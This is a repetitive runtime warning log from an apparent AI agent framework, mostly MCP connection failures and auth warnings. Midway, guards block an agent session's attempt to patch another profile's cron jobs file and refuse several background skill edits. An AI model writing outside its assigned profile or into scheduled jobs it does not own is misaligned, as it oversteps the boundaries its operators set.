connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:57:41,703 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:02:49,679 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:07:56,422 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:13:04,879 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:17:30,493 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 04:17:30,511 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 04:17:30,524 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 04:17:30,548 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 04:17:38,024 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:22:45,908 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:27:53,384 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:33:00,133 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:38:07,564 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:43:14,169 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:48:22,180 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:53:30,139 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:53:48,649 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 04:53:48,649 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 04:53:49,927 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 04:53:49,944 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 04:53:50,000 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 04:53:50,034 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 04:53:58,195 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 04:59:05,143 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:04:13,054 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:09:20,468 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:14:27,854 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:19:35,636 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:24:43,210 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:29:50,678 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:34:58,491 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:40:06,306 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:45:14,096 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:50:21,446 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 05:54:52,425 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 05:54:52,425 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 05:54:54,437 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 05:54:54,461 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 05:54:54,469 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 05:54:54,494 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 05:55:02,413 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:00:11,159 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:05:19,101 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:10:25,993 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:15:33,185 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:20:40,079 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:25:48,460 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:28:41,475 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 06:28:41,497 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 06:28:41,505 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 06:28:41,528 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 06:28:49,101 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:33:55,349 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:39:03,435 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:44:09,904 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:49:17,298 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:54:24,932 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 06:55:41,980 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 06:55:42,011 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 06:55:42,031 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 06:55:42,049 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 06:55:42,525 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 06:55:42,525 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 06:55:49,686 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:00:56,842 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:06:04,533 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:11:11,783 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:16:18,937 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:21:25,952 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:26:34,085 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:28:08,301 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 07:28:08,319 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 07:28:08,330 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 07:28:08,356 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 07:28:14,453 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:33:21,486 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:38:28,983 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:43:36,577 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:48:43,849 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:53:51,295 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 07:56:38,501 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 07:56:38,501 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 07:56:40,741 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 07:56:40,782 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 07:56:40,802 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 07:56:40,829 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 07:56:47,785 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:01:56,043 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:07:03,195 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:12:09,689 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:17:17,697 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:22:25,614 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:27:32,246 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:32:39,696 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:36:19,372 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 08:36:19,392 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 08:36:19,402 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 08:36:19,450 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 08:36:27,570 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:41:34,354 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:46:41,110 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:51:48,439 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 08:56:56,656 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:02:04,153 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:07:10,989 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:12:18,679 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:17:27,302 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:22:35,280 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:27:42,503 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:32:49,730 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:36:35,084 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1/) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-10 09:36:53,469 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 09:36:53,469 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 09:37:57,407 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:41:50,394 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:41:50,441 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:41:50,457 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:41:50,485 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:41:53,441 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:41:53,456 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:41:53,464 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:41:53,479 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:41:58,737 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:42:02,608 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 09:42:02,608 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 09:42:53,192 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:42:53,274 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 09:42:53,283 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-10 09:42:53,289 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-10 09:42:53,338 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 09:42:53,344 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 09:42:53,346 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-10 09:42:53,347 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-10 09:43:00,030 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:43:00,044 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:43:00,054 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:43:00,077 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:43:08,025 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:43:36,845 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:43:36,866 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:43:36,887 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 09:43:36,905 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 09:43:44,476 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:44:01,793 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.01s): {"output": "", "exit_code": -1, "error": "This foreground command appears to start a long-lived server/watch process. Run it with background=true, verify readiness (health endpoint/log signal), then e 2026-09-10 09:45:10,924 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool patch returned error (0.01s): {"error": "Cross-profile write blocked by soft guard: /root/.hermes/profiles/reviewer/cron/jobs.json belongs to Hermes profile 'reviewer', but the agent is running under profile 'grill-qa'. Editing an 2026-09-10 09:45:46,521 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Skill 'openmaic-deployment' not found.", "available_skills": ["onboarding", "research-critism", "team-progress", "yuanbao", "claude-code", "codex", "computer-use", "hermes 2026-09-10 09:45:58,935 WARNING agent.relay_runtime: Hermes Relay session 20260908_145242_f594ff closed with errors: session scope close failed: invalid argument: scope handle is not at the top of the stack 2026-09-10 09:46:06,015 WARNING [20260910_094253_9181c6] tools.skills_tool: Skill name collision for 'research-critism': 2 candidates — /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-09-10 09:46:06,016 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_view returned error (0.12s): {"success": false, "error": "Ambiguous skill name 'research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-09-10 09:46:12,757 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill 'research-pipeline': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation." 2026-09-10 09:46:38,870 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_manage returned error (0.13s): {"success": false, "error": "Skill 'research/research-critism' not found in active profile 'grill-qa'. Use skills_list() to see available skills."} 2026-09-10 09:47:00,132 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_manage returned error (0.00s): {"success": false, "error": "Description is 87 chars — new skills must fit the 60-char system-prompt budget (one sentence, trigger first, ends with a period). The skill index truncates longer descript 2026-09-10 09:47:03,892 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool skill_manage returned error (0.00s): {"success": false, "error": "Description is 251 chars — new skills must fit the 60-char system-prompt budget (one sentence, trigger first, ends with a period). The skill index truncates longer descrip 2026-09-10 09:47:19,673 WARNING [20260908_145242_f594ff] agent.relay_runtime: Hermes Relay turn finalization failed Traceback (most recent call last): File "/usr/local/lib/hermes-agent/agent/relay_runtime.py", line 660, in end_turn lease.host.run_in_session( File "/usr/local/lib/hermes-agent/agent/relay_runtime.py", line 202, in run_in_session raise RuntimeError("Hermes Relay session is closing") RuntimeError: Hermes Relay session is closing 2026-09-10 09:47:25,889 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_manage returned error (0.00s): {"success": false, "error": "Description is 64 chars — new skills must fit the 60-char system-prompt budget (one sentence, trigger first, ends with a period). The skill index truncates longer descript 2026-09-10 09:48:51,157 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:53:58,784 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 09:59:05,554 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:04:12,877 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:07:28,415 WARNING tools.skills_tool: Skill name collision for 'research-critism': 2 candidates — /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-09-10 10:07:28,494 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_view returned error (0.17s): {"success": false, "error": "Ambiguous skill name 'research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-09-10 10:07:34,072 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill 'domain-boundary-validation': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for S 2026-09-10 10:08:30,396 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator edit for skill 'domain-boundary-validation': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SK 2026-09-10 10:09:21,160 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:14:28,234 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:19:35,778 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:21:13,430 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool terminal returned error (116.35s): {"output": "total 192\ndrwx------ 33 root root 4096 Sep 8 18:08 .\ndrwx------ 25 root root 4096 Sep 10 10:19 ..\ndrwxr-xr-x 7 root root 4096 Jul 14 10:43 .archive\n-rw------- 1 root root 3073 S 2026-09-10 10:24:44,071 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:28:34,809 WARNING [20260910_094253_9181c6] tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 10:28:34,843 WARNING [20260910_094253_9181c6] tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-10 10:28:34,858 WARNING [20260910_094253_9181c6] tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-10 10:28:34,875 WARNING [20260910_094253_9181c6] tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 10:28:34,889 WARNING [20260910_094253_9181c6] tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 10:29:51,003 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:31:38,545 WARNING [20260910_102835_2167ad] agent.conversation_loop: API call failed (attempt 1/3) error_type=InternalServerError thread=ThreadPoolExecutor-289_0:138179172599488 provider=local9router base_url=http://localhost:20128/v1 model=default summary=HTTP 503: [antigravity/gemini-3.8-flash] [429]: { "error": { "code": 429, "message": "Resource has been exhausted (e.g. check quota).", "status": "RESOURCE_EXHAUSTED" } } (reset after 2s) 2026-09-10 10:31:38,546 WARNING [20260910_102835_2167ad] agent.conversation_loop: Retrying API call in 2.0925978005296724s (attempt 1/3) thread=ThreadPoolExecutor-289_0:138179172599488 provider=local9router base_url=http://localhost:20128/v1 model=default policy=default error=Error code: 503 - {'error': {'message': '[antigravity/gemini-3.8-flash] [429]: {\n "error": {\n "code": 429,\n "message": "Resource has been exhausted (e.g. check quota).",\n "status": "RESOURCE_EXHAUSTED"\n }\n}\n (reset after 2s)'}} 2026-09-10 10:32:10,018 